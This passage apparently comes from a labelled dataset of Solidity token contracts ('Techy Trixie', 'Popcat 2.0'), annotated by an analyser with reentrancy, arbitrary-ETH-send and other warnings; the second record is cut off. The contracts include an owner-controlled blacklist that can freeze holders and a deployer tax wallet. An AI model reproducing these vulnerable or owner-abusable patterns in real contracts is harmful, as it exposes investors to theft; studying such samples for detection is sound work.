"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TechyTrixie is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 686c8d0): TechyTrixie._taxWallet should be immutable \n\t// Recommendation for 686c8d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 597c399): TechyTrixie._initialBuyTax should be constant \n\t// Recommendation for 597c399: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\t// WARNING Optimization Issue (constable-states | ID: 26e427c): TechyTrixie._initialSellTax should be constant \n\t// Recommendation for 26e427c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 1a988d3): TechyTrixie._reduceBuyTaxAt should be constant \n\t// Recommendation for 1a988d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: cf372ae): TechyTrixie._reduceSellTaxAt should be constant \n\t// Recommendation for cf372ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 95dc4c6): TechyTrixie._preventSwapBefore should be constant \n\t// Recommendation for 95dc4c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n uint256 private _transferTax = 0;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Techy Trixie\";\n string private constant _symbol = unicode\"TRIXIE\";\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 7933c40): TechyTrixie._taxSwapThreshold should be constant \n\t// Recommendation for 7933c40: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 836b47e): TechyTrixie._maxTaxSwap should be constant \n\t// Recommendation for 836b47e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n event TransferTaxUpdated(uint _tax);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5d6dca): TechyTrixie.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5d6dca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: afed038): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for afed038: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bcfe9a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bcfe9a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: afed038\n\t\t// reentrancy-benign | ID: bcfe9a9\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: afed038\n\t\t// reentrancy-benign | ID: bcfe9a9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d4b1532): TechyTrixie._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d4b1532: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: bcfe9a9\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: afed038\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8f2e6b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8f2e6b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 38b278b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 38b278b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\t\t\t\t// reentrancy-events | ID: 8f2e6b0\n\t\t\t\t// reentrancy-eth | ID: 38b278b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8f2e6b0\n\t\t\t\t\t// reentrancy-eth | ID: 38b278b\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 38b278b\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: 38b278b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 38b278b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 8f2e6b0\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 38b278b\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 38b278b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 8f2e6b0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: afed038\n\t\t// reentrancy-events | ID: 8f2e6b0\n\t\t// reentrancy-benign | ID: bcfe9a9\n\t\t// reentrancy-eth | ID: 38b278b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5fe4e54): TechyTrixie.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5fe4e54: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: afed038\n\t\t// reentrancy-events | ID: 8f2e6b0\n\t\t// reentrancy-eth | ID: 38b278b\n\t\t// arbitrary-send-eth | ID: 5fe4e54\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c9cbbc7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c9cbbc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d0fee5a): TechyTrixie.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d0fee5a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4d0d647): TechyTrixie.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4d0d647: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cf0d37b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cf0d37b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: c9cbbc7\n\t\t// reentrancy-eth | ID: cf0d37b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: c9cbbc7\n\t\t// unused-return | ID: 4d0d647\n\t\t// reentrancy-eth | ID: cf0d37b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: c9cbbc7\n\t\t// unused-return | ID: d0fee5a\n\t\t// reentrancy-eth | ID: cf0d37b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: c9cbbc7\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: cf0d37b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10541.sol",
"size_bytes": 20297,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POPCAT2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f340864): POPCAT2._taxWallet should be immutable \n\t// Recommendation for f340864: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54020e6): POPCAT2._initialBuyTax should be constant \n\t// Recommendation for 54020e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7beb029): POPCAT2._initialSellTax should be constant \n\t// Recommendation for 7beb029: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c907374): POPCAT2._reduceBuyTaxAt should be constant \n\t// Recommendation for c907374: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be8fa3): POPCAT2._reduceSellTaxAt should be constant \n\t// Recommendation for 9be8fa3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b6ce00): POPCAT2._preventSwapBefore should be constant \n\t// Recommendation for 0b6ce00: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Popcat 2.0\";\n\n string private constant _symbol = unicode\"POPCAT2\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8304831): POPCAT2._taxSwapThreshold should be constant \n\t// Recommendation for 8304831: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c8a319): POPCAT2._maxTaxSwap should be constant \n\t// Recommendation for 1c8a319: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a4d59ea): POPCAT2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a4d59ea: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 87c1589): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 87c1589: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1b3b9db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1b3b9db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 87c1589\n\t\t// reentrancy-benign | ID: 1b3b9db\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 87c1589\n\t\t// reentrancy-benign | ID: 1b3b9db\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0e2fa8): POPCAT2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0e2fa8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1b3b9db\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 87c1589\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc01679): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc01679: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d37527e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d37527e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dc01679\n\t\t\t\t// reentrancy-eth | ID: d37527e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dc01679\n\t\t\t\t\t// reentrancy-eth | ID: d37527e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d37527e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d37527e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d37527e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dc01679\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d37527e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d37527e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dc01679\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 87c1589\n\t\t// reentrancy-events | ID: dc01679\n\t\t// reentrancy-benign | ID: 1b3b9db\n\t\t// reentrancy-eth | ID: d37527e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3249910): POPCAT2.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3249910: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 87c1589\n\t\t// reentrancy-events | ID: dc01679\n\t\t// reentrancy-eth | ID: 